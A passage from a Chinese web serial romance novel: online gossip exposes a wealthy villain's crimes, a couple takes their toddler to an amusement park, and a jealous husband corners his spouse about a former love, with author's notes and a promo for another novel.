网上能人多,各行业的都有,很快就有国外ip的人曾短暂跟薛德茂孙子薛景灿同校,夸了一通薛景灿如何出类拔萃卓尔不群,顺便明确了薛景灿当年出国时间和郁明殊的“霸凌事件”很接近。 两件事一下被联系到一块,自然会生出祖孙闹掰的真实原因可能也和郁明殊有关的想法。 大家很难不怀疑薛德茂是在郁明殊上学时就盯上他了,孙子被老登恶心到了才会出国多年都未曾回来一次。 吃瓜群众们一边被老登的龌龊操作恶心得不要不要的,一边又难免不会横向对比,老登对郁明殊的确有着格外的执着和耐心。 与此同时,吃瓜群众也很快顺着张秘书的引导注意起薛氏最为核心的医疗产业。 先是有人匿名爆料,薛德茂近期在旗下医院顺利完成了第六次换肾手术,换的还是来源存疑的婴儿肾。 之后又有人在评论区分享,说自家亲戚当骨髓移植志愿者遇上个奇事,有人越过骨髓库直接找上他,给十万要他在回输前拒绝捐献。 他家亲戚撸了网贷急着还差点就同意了,结果患者家属那边有土豪资助者,直接通过骨髓库给了他三百万感谢费。 基于双盲原则,他们也不知道患者是谁,但刚好第二天安安爸爸就发文称安安顺利回输,在线给好心网友报平安+求祝福。 加之郁明殊之前就说过,安安找到了资助人,而孩子年龄和回输时间也都对的上,该网友及家人就都怀疑对面的小患者就是安安。 网友不由产生新的疑问,既然患者是安安,那阻止他家亲戚给安安移植的人又是谁? 竟然能突破骨髓库的保密原则直接找上他家亲戚,看起来和能六次换肾,还能换上婴儿肾的薛老登无比符合啊! 洗钱的事已经证据确凿,自有公安人员跟进,但从这两件事看来,薛老登身上可不止玩男人和洗钱两大问题,整个薛家都很值得深挖! 然而就在这个当口,传出了薛德茂的死讯,很难不让人多想,薛德茂这个主要责任人也死的太是时候了。 张秘书计划被打乱的第一时间,就以“也许是我阴谋论”为开场白,在八卦论坛匿名发表一篇分析帖点明此事…… * 当年的萌礼广告为了便于推广,是走重复性洗脑路线的,虽然拍了很多条,但内容重复性强,就是让小孩捧着瓶牛奶切换不同背景说广告语。 广告内容简单易记,广告语直白上口,过分漂亮的小童星又极具辨识度,投放策略也精准有力度……所以郁明殊的重拍难度基本为零。 演员没换,脸也是等比例长大,换上更为精致考究的服饰,再加上重新站在镜头前的幸福兴奋,除了第一场多磨合了一阵子,之后郁明殊基本都是一两条就过。 郁明殊拍得极为畅快,霍懿安也看得相当享受,唯一不算开心的只有坐在车顶看爸爸的受气崽。 好在霍懿安也不是一点当爹的样都没有,郁明殊切换不同游乐设施背景时,霍懿安还是知道把小家伙抱下来,而不是直接把车开过去。 霍懿安觉得自己做得很全面,无可指摘,实则郁明殊中午刚收工就迎来了捂腚嘤嘤崽。 虽然距离事发已经隔了很久,崽子的情绪有所回落,并不能自由调配眼泪了,但他还是通过提前施展新学的瞪眼大法,蓄满了两汪委屈的泪水。 “呜呜呜拔拔~爹地欺虎宝!!!~” 崽子的中文虽然时常口齿不清,但郁明殊听久了已经能做到秒懂,霍懿安不仅拒绝崽子骑大马看爸爸的请求,还故意让他摔了个小腚墩,差点将宝的小圆屁股摔成四瓣! 前者倒是没什么,但后面就太不应该了,嘟嘟才两岁半,还是个应该被爸爸们托在掌心呵护的小宝宝啊…… 郁明殊一边给嘤嘤哭泣的崽子揉屁股,一边略带一丝不满看向一旁小山般高大,但对崽一点都不成熟的男人。 霍懿安:“………” 男人立即看向郁明殊怀里那只假哭得小后背一颤一颤的崽:“他踢我脸的事怎么不说?” 郁明殊:“???”这男人知不知道他说的话有多么离谱? 男人比他还高一大截呢,别说崽子了,他都踢不到。 “……嘟嘟会飞?” 飞天小胖崽吗??? 崽子原本有点心虚,一听爸爸语气一下就来了信心,嗷的一嗓子哭得更委屈了。 “嘤嘤呜呜噫噫啊啊喔喔……” 霍懿安都要被气笑了,但这是什么地方?他霍懿安又是什么人? 男人立即拨通乐园负责人,要求对方十分钟内将巨型滑梯附近的监控都发过来。 “。” 崽子哭声戛然而止,水汪汪的桃花眼滴溜溜乱转。 见状,郁明殊大概捋清是怎么一回事了,但还是有些无言以对……25+的霍懿安竟然能和2.5+的崽子如此针尖对麦芒斗得有来有回…… 让他说什么好呢? 郁明殊看了眼怀中心虚又凶萌鬼祟的小金毛,再看眼一本正经跟崽较真的大金毛,噗的一下笑了出来。 他今天实在是太开心了,原本就时常觉得这对父崽有点可爱,重回镜头的兴奋让他更觉得眼前这一大一小,即便是幼稚斗气也可爱的不得了。 笑了一阵后,郁明殊看向两双同款不解的湛蓝眼眸,笑着问道:“与其待在这里空等,我们一起去玩一会儿怎么样?” 为了拍摄,这边也算包场一整天,现在半天就拍完了,下午一家三口完全可以留在这边继续玩。 工作人员虽没有平时营业时那么多,但项目也是可以正常运转的。 崽子出生不久,奶奶就在家里专门给崽建了个大型游乐场,所以崽子一直是随时想玩都能玩的,但爸爸的邀请他怎会拒绝! 崽子立即俩眼一亮,举起小短胳膊积极响应:“要嘟!~” 霍懿安倒是没什么兴趣,但全自动跟随的双腿根本无需决断。 崽子十分兴奋,直奔他最爱的过山车,却被工作人员拦下:“不可以哦宝宝,身高不足一米三是不能玩大人的过山车哦~” 这下不仅完全没有带娃经验,也没有玩耍经验的两位老父亲懵了,习惯在家中游乐园飞天遁地的崽子也懵了。 不对呀,西奥多记得很清楚,他在家什么都能玩嘟! 崽子不开心,等被爸爸们带到小奶龙过山车面前时,看着幼儿专享的超幼稚超低空的迷你过山车,小脸蛋啪叽一下就垮到了脚面上。 霍懿安难得理智占据上风,停下脚步对爸崽二人说道:“…你们玩吧。” 崽子本就觉得眼前的小奶龙过山车幼稚非常一点都不刺激,一听连大坏蛋都嫌弃得不肯玩,他就更嫌弃了。 西奥多皱起小脸满心委屈,爹地变坏蛋就算了,怎么连这…也不一样了呢? 崽子满心委屈坐上小奶龙过山车,但一看到身侧一脸兴奋的爸爸,再看看越来越远的大坏蛋抽叔叔爹,小家伙唇角很快翘起了同款弧度。 崽子分分钟把自己哄好,虽然不知道为什么坐不了刺激好玩的过山车,但他现在可是可以24h跟宝贝爸爸在一起的幸福宝宝耶! 作者有话要说: 西奥多(挺胸):今天系超好哄嘟暖心爱爸宝![抱抱] 第54章 一趟下来,爸崽二人都笑得灿烂极了,甚至还要再多玩几趟。 原本等在一旁的霍懿安,再一次主动走近,绕到崽子身侧的位置坐了下去。 崽扭头看他:“(#▼皿▼)?” 霍懿安面无表情看向崽子身旁一脸意外的郁明殊,虽然心里想的是他似乎受到了某种召唤,难以分辨是平行世界的干扰,还是他的心生出第二意识。 总是驱动着他靠近爸崽,视线不自觉跟随,莫名觉得他也应该和他们在一起。 但这些尚未厘清的混乱猜想,哪一条都不适合与人说起,所以霍懿安静默一瞬,直勾勾看着郁明殊说道:“我不能玩?” “…当然可以。”郁明殊被噎了一下,还是笑了出来。 一方面是习以为常,另一方面也是心情太好了。 他的关注点只会聚焦在霍懿安为什么又改变想法来玩,是觉得他和嘟嘟玩得太开心让人机都眼热了? 这么想着,眼前的冰块脸都变得有趣起来。 不过冰块脸本人并不这么觉得,他脑中缠绕着太多无法理清的思绪,同时还要被这些思绪控制,这使他产生了严重的失序感。 是以一趟不算刺激的小奶龙过山车结束,爸崽二人欢笑开怀,霍懿安却没染上半分开心,眼神依旧直勾勾凝在郁明殊漂亮的侧脸上。 郁明殊:“……” 虽然自小就习惯被人注视,霍懿安盯着他看也不是一天两天了,但郁明殊还是没法做到当他不存在。 他都忍不住想要问出你一直看我做什么,但一开口还是较为委婉的:“感觉怎么样?你好像玩的不是很开心。” “浪费生命,索然无味。” 再是新奇刺激的大型游乐设施霍懿安都不爱玩,更别说这么幼稚无趣的了,哪怕这间游乐场最初就是为他建的。 郁明殊:“……那你就不玩了吧?”已经重新开到起始点,他示意霍懿安可以下车了,他和崽子还想多玩几遍呢。 其实郁明殊稍微有点恐高,这种小奶龙过山车对两岁半的崽子来说可能太过于幼稚,但对他这个爸爸来说却刚刚好。 天气很好,游乐场的景色氛围也很好,身边还有可爱崽子相伴,迷你过山车开起来清风徐徐舒服又快乐,他是真的很喜欢。 “玩。”霍懿安斩钉截铁答道,并继续黑脸凝视。 郁明殊这次有九点想法:“………” 第三趟小火龙过山车在郁明殊的无言中开启,也不知道是不是心里有话堵着的缘故,他觉得霍懿安及其目光的存在感被进一步放大。 郁明殊实在没忍住再次转向男人,刚好和男人直勾勾的视线对个正着:“既然索然无味浪费生命,你为什么还要继续跟着玩呢?” 话音未落,霍懿安脸色更黑了,眼神也更凶了,他也想知道答案! 甚至他还想知道,为什么他明明已经跟过来了,还会产生犹觉不足之感?! 郁明殊被男人黑着脸“瞪”着,又继续道:“而且你不是觉得我难看碍眼吗?为什么还要一直看我?” 霍懿安正跟自己生气呢,闻言眉头先挑了起来:“我什么……我只是针对你假笑和哭的时候,而且我从没说过你碍眼。” 霍懿安对自己的记忆力绝对自信,但见郁明殊仍是一脸不解,他再次注视着眼前这张精致脸蛋明确道:“除了假笑和哭,你都很好看。” 郁明殊双眸微微睁大,脸腾的一下红了。 这世上就没有美貌不自知的人,就算对外貌认知不够敏感,在成长路上也会遇到无数人告诉他,他长得有多么出众不凡,而郁明殊就是被这样夸奖大的。 小时候可能还会生出些赧意,但次数多了也就习惯了,就连他戴着头盔停在路边喝水,摘下口罩时都会被路过的小女孩赞一句“哥哥好帅!”。 当时的郁明殊相当从容地微笑感谢,但这一刻,却心如擂鼓,颊若飞粉,瞬间失掉了直视男人继续质问的勇气。 人在不知所措的时候,就很容易装忙,郁明殊隔了很久终于又想起两人之间还做了个宝贝崽崽。 他立即低头看崽,却发现崽子竟然不知什么时候歪靠在椅子里睡着了,难怪小半天没听到小家伙出声。 虽然小奶龙过山车的强度不大,带起来的风速也属于舒爽宜人的程度,但孩子太小就这么睡着也容易出汗着凉,或者被突然惊到。 不知不觉过山车已经开启了第五圈,郁明殊虽然不打算继续玩了,但也没法中途叫停,只能先把崽子叫醒,让崽先醒醒神再说。 “嘟嘟?怎么睡着了呀?”郁明殊揉着崽子头顶的铂金小软毛,一边柔声呼唤。 崽子睡得也不沉,很快就醒了过来,大眼睛里写满了困惑,他怎么又睡着啦? 西奥多记得自己只是发现爸爸和大坏蛋在一起的时候,只要他不说话就能很快“隐身”,所以他想试试如果自己不说话,爸爸多久能注意到自己。 结果他抱起小短胳膊眯眼观察了没一会儿,小脑花就再次被瞌睡虫占领啦! 怎会如此!? 西奥多重新清醒的小脑花转了又转,然后横起刀子眼看向右手边的坏蛋亲爹:都系里的错! 管他三七二十一,肯定不是他和爸爸的问题! 霍懿安被崽子瞪得莫名其妙,不过他这会儿脑中心里被塞了太多让他莫名其妙的事,崽子这点惯常敌意实在排不上号。 即将抵达终点,郁明殊抬手示意不远处的工作人员他们要结束游玩。 等小奶龙列车再次平稳驶入终点时,一家三口身上的肩压式安全杠已经自动解除上抬,工作人员正等在下客的一侧随时进行辅助。 因着是从郁明殊那边下车,他就先将崽子递了出去,确定崽子经工作人员辅助稳稳落地,他就准备自己往下蹦。 结果刚抬脚身后就突然多了一堵存在感极强的燥热肉墙紧贴上来,郁明殊一下就有些着急,前一只脚没等踩稳,另一只脚就太快跟上,结果就是整个人重心失衡,眼看着就要朝外跌去。 原本已经乖乖站到安全线外的崽子一下就急了,全然不顾他只是个两岁半小崽的客观事实,满心里只有救爸一个念头。 一个箭步飞蹿,反应得比一旁的工作人员还快。 咻的一下,就如离弦胖箭一般射了出来,结果小家伙刚睡醒影响发挥,胖箭射到一半就跌成了飞扑,而同一时间,比崽反应更快的霍懿安已经从后将人打横抱起。 郁明殊先是被一脚踩空吓到,紧接着又被霍懿安夸张地抱人方式吓得心脏狂跳。 虽然现场人不多,但被当众公主抱的威力还是过于强大,郁明殊的脸唰一下就红了。 然而他根本顾不上脸红心跳,因为崽子不仅跌倒,白嫩得小手还摔破了,郁明殊臊红的面颊一下就白了。 霍懿安原本是想直接把人抱下过山车,但郁明殊挣扎得太厉害,他也只能向郁明殊递崽那般,双掌卡着郁明殊单薄的腰线,将人直接送到了车外稳稳着陆。 不等他启唇点评郁明殊太瘦了该多吃点,也来不及细品从掌心、手臂一直蔓延至心里的意犹未尽是怎么一回事,崽子已经wer哇wer哇的哭了起来。 郁明殊本就心疼得不行,等抱进医务室清创后发现崽子掌心的小伤口换了几块纱布还在不断渗血,郁明殊就更懊悔自责,他要是当时站稳了,嘟嘟就不会受到这种伤害了。 西奥多手上的伤口不大,哭了一会儿也就没感觉了,但为了将爸爸的全部注意力都抢回来,他才哭得特别惨。 可见爸爸神情不对,他又舍不得爸爸难过了,立即吸了吸小鼻子摇头,用满是哭腔的小奶音安慰爸爸:“拔拔,不痛呐,宝不痛呐~” 郁明殊原本就揪着的一颗心,顿时更难受了,他抱紧崽子哑声说道:“嘟嘟怎么这么乖呀?” 因为要在爸爸面前好好表现,医生微用力按压止血的时候崽子都一声不吭,全程都绷紧小胖脸,像个勇敢的小斗士。 医生多按了一阵,血还是成功止住了,虽然伤口很小,但伤在灵活的掌心,医生怕小朋友之后乱动,止住血后还找了个空药盒当固定器,把崽子的小手固定住了。 整只小手被摊开,用医用胶带捆在药盒上,这样一来小家伙的掌心就算再灵活也动不了了。 “最好多带几个小时再摘,你家孩子的凝血不太好,虽然不严重,但最好去查一查更安心。” 郁明殊认真记下医嘱,道谢后才带崽离开。 心里还回忆着,之前嘟嘟住院打吊针和采血时都没什么异常,感觉和他的情况有点像,应该不会是什么大问题……郁明殊如此自我安慰着却还是很担心。 把他们送到医务室就消失的霍懿安,一直到伤口处理完也没回来,郁明殊就先带崽坐进车里。 “嘟嘟还疼吗?” 虽然眼圈鼻尖和小嘴都红红的,但崽子立马绽放出一个璀璨甜笑:“一点嘟,不痛呐!~” 说着还想跟爸爸晃晃小手,示意自己好极了,不过没等开晃就被郁明殊及时按了回去。 “嘟嘟先不要动右手好不好?医生叔叔说你的凝血不太好,伤口虽然止住了,但万一牵扯到伤口可能还会再出血。” 崽子乖巧点头,片刻后又皱了皱小眉头:“凝血不好,系什么意系哇?” 这个郁明殊倒是较为了解,立即转换成小朋友也能听懂的说法讲解道:“人的身体里藏着各种各样的小工匠,有一种就是专门负责修补的,平时安静待着,但一旦不小心弄破皮肤,就像嘟嘟今天这样把手心摔破了,嘟嘟身体里的小修补匠就会立即跑过来,在伤口附近手拉手围成小堤坝把出血的地方堵住。” “凝血不好就是身体里的小修补匠出问题了,有可能是数量不够,也有可能是动作太慢,还可能是力气太小,这样的小修补匠们没法及时围成坚固的小堤坝堵住出血口,止血就需要更长的时间。” 崽子听懂了,小眉头却皱得更紧了,他可是要在爸爸面前当全世界最棒的宝宝,怎么听起来他身体里的小修补匠都特别菜? 崽子很不满意,再看向被药盒固定住的伤手时,小胖脸一下就垮掉了,他认为他身体里的一切小工匠都该跟他一样棒棒哒才对。 郁明殊又被撅嘴崽子可爱到了:“这其实挺常见的,爸爸的凝血就不太好……” 话刚出口,崽子垮起的小脸瞬间焕发光彩,唰的抬头:“尊嘟吗!?” 郁明殊笑着点头:“对呀,嘟嘟跟爸爸一样,是不是很有缘分?” 崽子可太高兴了,虽然他认定爸爸就是他爸爸,但霍懿安的话不可能一点影响都没有。 所以就像崽很喜欢听别人说他跟爸爸长得像一样,爸崽同款的凝血障碍也让他极为开心! 西奥多兴奋地晃起小身体,恨不能当场热舞一曲,正在兴头上时,右侧的车门就被司机从外拉开。 霍懿安刚俯身坐下,身前就多了个被包扎得鼓鼓囊囊得小手,紧随其后是崽子兴奋的小奶音:“看——!” 霍懿安刚压下郁明殊带来的影响,这会儿也愿意配合崽子转移一下注意力。 所以面对高扬下巴的炫耀崽子,他冷冷发出无情质问:“你的伤口有一厘米吗?有必要包成木乃伊?” 崽弯起的唇角瞬间垮掉,刀子眼一横,炫耀的心一下就冷却下来了:“口亨!” 臭!坏!蛋! 郁明殊虽然心生无奈,但该说的还是要说的:“医生说嘟嘟的凝血不太好,建议我们近期去检查一下,包这么多也是防止嘟嘟牵扯到伤口再流血。” 霍懿安闻言眉头再度蹙起,就听崽子鼓着小脸补充道:“不系嘟嘟不腻害喔,这都系正常嘟……”说到这里他还是忍不住炫耀一句,“嘟嘟跟拔拔都凝、血、异、常喔!” 郁明殊也笑着说道:“是啊,真的好巧。” 嘟嘟不仅长得有些像他,就连不算严重的凝血问题都如出一辙。 第55章 霍懿安听完眉头皱得更紧了,崽子以为他是羡慕或是被自己说到重点上了,漂亮的蓝宝石桃花眼一横,唇侧漾起得意弧度。 虽然大坏蛋之前说得有些道理,但崽子根据近期的暗中观察发现,现在的爸爸和大坏蛋的相处模式,有点像他真正的爸爸爹地了! 而且他和爸爸之间存在辣么多共同点,就算不完全是……不对!爸爸就是他真正的宝贝爸爸! 崽子正准备趁着自己受伤,爸爸最心疼的时候,再继续向大坏蛋开炮,崽要战斗,要据理力争,霍懿安的手机就再次响起。 见大坏蛋接到电话脸色一变再变,变得冷肃极了,意识到这是大坏蛋的工作电话,刚变身超级赛亚崽的西奥多又迅速退回常态,正事面前,爸爸的世界第一乖宝是会等一等的。 是以崽子仰躺进儿童安全座椅,翘起小脚脚晃了晃,超绝不经意抿嘴瞥向左侧的爸爸:窝可尊系一个好宝啊!很值得拔拔夸夸喔!~ 郁明殊不仅将父崽斗法和硝烟突熄看在眼里,还没忍住拿出手机录了一段,收起手机对着崽子Q弹软糯的小脸蛋就是一个爱的么么哒。 “嘟嘟真乖~” 崽子不仅被夸爽了,还一脸黏腻甜蜜地跟爸爸脸贴脸蹭了又蹭,但凡是只小奶猫都要隔空踩奶外加打呼噜了。 真好呀~——爸崽二人几乎同时生出这样的想法。 与此同时,霍懿安电话另一端的张秘书刚好说完薛家的最新消息:薛德茂死讯传出后,独子薛信峥并未回国,只有孙子薛景灿一人“低调”回国。 关于薛家祖孙三代,之前张秘书为了更深入的调查(吃瓜)查得也算很详尽了,不得不说薛德茂也算歹竹出好笋,早早和他做出切割的儿子孙子都很优秀,尤其是孙子薛景灿。 二十出头就即将拿到沃顿商学院的硕士学位,但薛老登死的略早了点,薛景灿只能暂停学业先回国接手家族企业。 虽然横向对比起来,跟二十岁取得博士学位、二十三岁独立创立的科技公司就完成上市的霍懿安还差了一些。 但张秘书一直把霍懿安放在非人类范畴,并列的有人外异种首长和克苏鲁邪神,不应该和正常人类放到一块对比。 而且薛景灿这种才是传统意义上的天之骄子白马王子,霍懿安的天赋异禀是用反人类的情商兑换的。 尤其是在他得知霍懿安能有今天的沟通和感知能力,都已经是霍云轻夫妇用重金和无数心血熬出来的,张秘书就更觉得还是薛景灿这种普通天才更可贵一些。 薛景灿不仅是学生会会长,还是所在学校兄弟会的最高负责人,足以说明他的个人能力不仅优秀还很全面。 张秘书虽然对薛景灿的个人印象不错,也怀疑当年要是没有薛老登干涉,没准他和郁明殊会往友情之上发展一二,毕竟薛景灿出国这么多年都没和任何人交往,本就挺引人遐想的。 但他还知道是谁给他发薪水奖金的! 霍懿安就算一身缺点,但单就撒币爽快这一条,就足以让张秘书紧扒岗位干到退休的了。 而且郁明殊和他老板都破镜重圆了,虽然是协议婚姻,但这事他可太懂了,就跟异性恋先叫姐后叫妹最后叫宝贝一样,都是固定流程了。 退一万步说两人孩子都有了,薛景灿注定要当一辈子曾经的意难平了。 所以张秘书播报完最新消息后,适当委婉提起郁明殊和薛景灿曾是旧识。 霍懿安也是将张秘书之前发给他的关于郁明殊的资料全都看完了,自然知道这回事,再听张秘书故意提起,语气还透着忸怩猥琐,深邃蓝眸登时一厉:“是查到薛景灿出国前也曾对他出手……” 霸凌两字还没出口,就被张秘书无语叫停:“不不不,您误会了,两人关系应该是很好的,后续的霸凌应是薛德茂引导。” 死变态的老东西虽然对郁明殊格外有耐心,但出手的套路都大差不差,想尽办法磋磨折腾,直到人绝望了不得不认命,他再以救世主的姿态将其鱼肉。 张秘书算是发现了,对霍懿安就委婉不来一点,不够直接对方都未必能听明白这些弯弯绕绕,索性扒开了揉碎了说道:“一般这种被强行拆开的很容易……也许薛景灿多年未找伴侣是惦记郁先生,也有一种极微小的可能性,郁先生没准、有千万分之一的可能也把他当白月光呢……” 虽然张秘书越说声音越小,听起来古怪至极,但霍懿安本就不以为意,侧眸看向正甜蜜贴贴的爸崽,就更加觉得张秘书用“强行拆开”形容二人太过夸张。 能达到这个用词的,怎么也得是眼前的爸崽。 而且这世上惦记郁明殊的多了,多一个薛景灿算什么? 再看着这一幕,即便未明心意,他也早已在不知不觉中,彻底认可了他们三人间的家庭关系。 客观事实就是令人时刻赏心悦目的伴侣,和可爱但磨人的幼崽,此刻就在他目之所及的范畴,并与他存在法律上的稳固关系。 霍懿安神色悠然开口:“所以‘白月光’是什么?” 郁明殊无意偷听霍懿安接电话,但男人不仅重新盯上他,音量还陡然拔高了不少,他想不注意都不行。 对面不知道说了什么,霍懿安的脸色瞬间布满阴翳。 电话唰的被男人挂断,然后霍懿安就十分突兀且莫名其妙地盯着他问道:“你有白月光?” 郁明殊:……? 他困惑一瞬,还是试图搞清楚原委:“白月光是指?” 简单总结了一下,霍懿安像问答AI般回复道:“是网络流行用语,意指心中可望不可及、爱慕却未曾拥有、时隔多年仍旧意难平的理想对象。” 郁明殊:“…………” 他当然知道白月光是什么意思的,他问的是具体指哪一位,才好从头拆解这份误会,而且霍懿安的语气神态实在太怪了……仿佛他不止有白月光,还和白月光出轨了一样。 且不说他压根没有那玩意,就算真有,只要不被网络大肆报道影响对崽子的领养,也完全符合两人的婚前协议。 之前郁明殊不敢多想什么,但霍懿安现在的行径也实在太怪异了,甚至一天比一天奇怪…… 就在郁明殊心绪百转面露迟疑之际,霍懿安突然顶着极其阴沉的脸色撤回了自己的疑问:“算了!” 话音未落,整个人已经侧向窗外。 霍懿安本就块头极大,哪怕这辆豪车已经算极为舒适宽敞的类型,但碰上身长近两米的乘客也显得窄小了不少,更不要说两人之间还夹着个坐着特殊安全座椅的崽儿。 霍懿安庞大的身子一侧,反倒像是人被挤到了“边边角角”,搭配浑身散发的阴郁气息,仿佛是在角落滋生的一朵巨型毒蘑菇。 见男人明显是关闭了交流通道,郁明殊也就没再纠结,刚好崽子又有点泛起迷迷糊糊的困意,郁明殊就抓上崽子的小手继续陪崽互动。 虽然他已经线上咨询过,只要孩子精神食欲都正常,也不需要那么严格地进行干涉,但可以一边继续观察一边适度引导。 霍懿安下车就消失了,郁明殊陪崽吃过饭,又带崽到酒店楼下的意式花园转了一大圈,之后回到酒店房间又陪崽玩了一阵乐高。 尽量避免崽子是因无事可做才会无聊嗜睡,白天充足的运动量和丰富的活动,也能让崽子夜间的睡眠质量更好。 看时间差不多了,郁明殊才带崽去洗澡准备睡觉。 崽子虽然已经习惯手上绑着的固定小药盒,但带着睡觉到底不舒服,郁明殊小心翼翼揭开医用胶带,确认崽子掌心的伤口已经凝固了,就拆下了小药盒,贴上了普通敷料。 崽子跟他玩的时候一直很兴奋,但洗过澡擦干吹干往床上一躺,没一会儿就呼呼睡着了。 郁明殊观察了一会儿,还是看不出崽子今天的睡眠是否比之前更沉更好,但也不能为了确认这种事,冒着将崽子吵醒的风险做测试。 郁明殊一边轻抚着崽子暖融融的小后背,一边拿出手机翻看起来。 虽然还是个新手爸爸,但他已经抽时间看了不少关于养育幼崽的书籍,陪崽的时间里除非有电话打过来,不然郁明殊根本不会拿出手机查看。 这会儿也是想看一下个人账号,然后再看一阵育儿书籍酝酿睡意。 然后他就看到了薛德茂的死讯。 郁明殊诧异不已,他不是没想过薛德茂一把年纪如果能早点离世就好了。 但他也刷到过许多偏“阴谋论”的说法,有钱人可以打各种续命针,尤其是顶级圈层的老富豪们都越活越年轻。 薛德茂就算身体不好,也比同龄人年轻很多,郁明殊早就放弃这层指望,没想到他遇上霍懿安后终于能恢复正常生活了,薛德茂却这么突然死掉…… 这当然是天大的好事,但实在太让人意外了。 郁明殊的脑中突然闪回了两个画面,一是第一次见到薛德茂时,他以为他是真正德高望重之人,并对此寄予厚望……二则是薛德茂最后一次的电话威胁,当时郁明殊挂断不久便将其拉黑。 郁明殊思绪飞转之际,熟悉的两声短促轻浅敲门声再度响起:“笃笃——” 郁明殊:“……” 虽然仍旧很无语,但怕男人吵到崽子,他还是迅速下床轻手轻脚走了出去。 双开门的房门尺寸已经很宽裕了,但霍懿安接近双开门的高大身躯还是将门口挡得严严实实,郁明殊先熟练将人往外推了推,把房门小心关上。 “你怎么……” “你到底有没有白月光?”霍懿安这会儿的脸色比下车时还要糟糕,语气中更是多了明显的迫切。 他所不知的是,但凡不是他突然“算了”,郁明殊早就把话说清楚了。 什么白月光黑月光,赤橙黄绿青蓝紫的月光他统统没有。 这些年仅是活着已经很吃力了,他哪里敢有那样的心思呢? 但见霍懿安一秒钟都等不了,又立即重复催问,郁明殊反倒生出一点坏心思。 “你这么晚来找我就为这个?” “晚?这才刚过十点……” “嘟嘟已经睡了。”郁明殊一本正经强调道。 霍懿安冷呵了一声:“那只小猪明明随时都在睡。” “嘟嘟不是小猪,你这么说他会难过的。” “这只是比喻手法,他能吃能睡赛真猪,这是客观事实有什么可难过的?” 郁明殊本就觉得父崽间的糟糕关系是霍懿安的问题,这会儿也就一并提起:“不,嘟嘟还不到三岁,这个年纪的小朋友就是该多吃多睡才能更好的长身体。” “他不喜欢被说成猪,你就不应该这么叫他,就是因为你的话时常让他感到不适,他有时候对你才会有些反抗……” 霍懿安直接被气笑了,他这种神经异常的人都看得出崽子如何双重标准,郁明殊被特殊对待就算了,还反过来指责是他对崽不够好? 算了吧,小家伙见他第一天就魔音贯耳,而据张秘书反应,这家伙到了郁明殊面前就是个虚伪的小夹子,时至今日也一直如此,根本不是他的问题。 霍懿安差点就开启辩论模式,但他突然想起那个深深困扰他的问题。 实在是如鲠在喉如芒在背,哪怕和郁明殊讨论崽子的问题,这个问题也依旧持续在他脑中闪现,他就算想忽略都不能。 所以他此刻的注意力,压根不会被转移一点。 霍懿安盯着郁明殊那双漂亮灵动的桃花眼,上半身不断前倾,一字一顿问道:“你到底有没有白月光?” 郁明殊迅速往后一靠,随着他微侧头躲避男人灼热的视线,滚烫的耳尖也触上了身后冰凉的门板。 “……你为什么一定要知道这个?” 霍懿安其实是没什么耐心的,但此刻的郁明殊瘦小的身体几乎完全被他所笼罩,不断拉进的距离也让他将郁明殊身上的淡香闻得更加清晰。 深邃长眸微微眯起,好似入迷了般不断靠近,几乎整个人都要叠上郁明殊时,郁明殊不得不伸手撑上霍懿安滚烫的胸膛。 但下半|身还是被嵌入一条有力的长腿,以及长腿之上好像多了一截什么? 郁明殊感觉像是岩浆里翻腾涌出了一枚粗壮的柱状熔岩,虽然格外灼热,但因长度堪比短剑,郁明殊的想象力不足以支撑他立即勘破真相。 只是短暂冒出了颇为天马行空的想法:带短剑总不会是来找他图穷匕见的吧? “你离得太近了……”郁明殊听着自己的心跳胡乱敲着耳膜,他不敢抬头,只能小声提醒。 他已经完全忘了半分钟前自己发出了怎样的提问,但霍懿安却没忘,他几乎是贴着他发顶,一边向外吹拂潮热的气息,一边用低沉喑哑的声音回道:“我不知道我为什么一定要知道,但我知道这对我来说很重要。” “所以,有还是没有?” 郁明殊招架不住,感受着男人灼热而强劲的身体,低低开口:“……没有!” 说完他用好不容易积蓄起的力气,一把将男人推开。 霍懿安有点高兴得忘乎所以了,一时不察被郁明殊推了个趔趄,但这时候两人周围又没有地精崽子绊脚,他不仅相当从容地稳住了下盘,还一把攥上郁明殊反抗的细腕。 就在郁明殊视线下移看清短剑真容的瞬间,霍懿安的追问在耳边响起:“所以薛景灿根本不是你的白月光?” 话音未落,郁明殊脸上血色褪尽,对着霍懿安的短剑就呕了出来:“yue——” 作者有话要说: 西奥多:习么臭东西?丢掉![愤怒] ◆推推沙雕欢乐生崽完结文《穿为带球跑炮灰我哈哈哈哈哈哈》[让我康康][让我康康][让我康康] 夏时熙孤身一人在末世艰难苟命,憋疯之前先饿死了,意外穿成下场凄惨的带球跑送子工具人。 睁眼就在床上,反派大佬正冰冷地注视他。 夏时熙:哇?活人!!! 反派:以为这样就能引起我的注意? 夏时熙:这是什么?活人!嘬一口!这是什么?活人!嘬一口!好喜欢嘬嘬嘬!热乎乎的人类!我嘬嘬嘬嘬嘬嘬!(阳光爬行)(开朗扭动)诶嘿嘿嘿~ 反派:…… 第二天,收获满满一身嘴拔罐子印的反派—— 不是,这人有病吧!!! * 再次对上夏时熙水润柔软却嘬力惊人的唇,反派不想多说,冷冰冰甩下一份协议:“一年为期,把孩子生下来,除了钱不要妄想其他。” 夏时熙:“!!” 低头看了眼肚子,居然真有崽了! 接过黑卡、住进豪宅、吃着美食,夏时熙幸福落泪:呜呜世上还有这种好事儿! * 贺寒朔认定对方是个想要借子上位的心机花瓶,一年后协议到期必然要去父留子。 可面对孕期极为黏人、总是情难自禁般贴着他的夏时熙,贺寒朔难免心软。 先是默默提高协议补偿额度,之后又担心夏时熙用情太深离不开他,打算放宽探视权,允许对方留下照顾孩子,总归父崽两个都要留他眼皮底下…… 没曾想,夏时熙想也不想就拒绝三连: “带崽太折磨了,交给你我很放心。” “我当然爱他呀,但世界那么大,我替崽去看看!” “你放心,拿钱办事,我肯定不会纠缠你的~” 贺寒朔不信,夏时熙却已经喊着“好多优质活人!天堂啊!”冲进了职场综艺,拿着炮灰剧本的小糊豆,不久便被观众磕出八百组cp爆红全网。 贺寒朔:呵…… 被磕cp的是他正在揣崽的老婆,录制地点还特么是他名下的公司……就!离!谱! *攻受365度无死角身心双初恋,一家三口美美HE *这是一本短篇的沙雕小甜饼喔~欢迎品尝! 第56章 实际上郁明殊也无法分辨,他到底是因为听到薛景灿的名字才呕意陡生,还是后知后觉发现自己此前碰到的短剑是什么…… 好在这次霍懿安已经有经验了,不再紧攥着郁明殊,让他得以第一时间冲向卫生间。 霍懿安虽然这次没被吐,但听着不远处频频传来的干呕声,他的脸色却比被吐时还要难看。 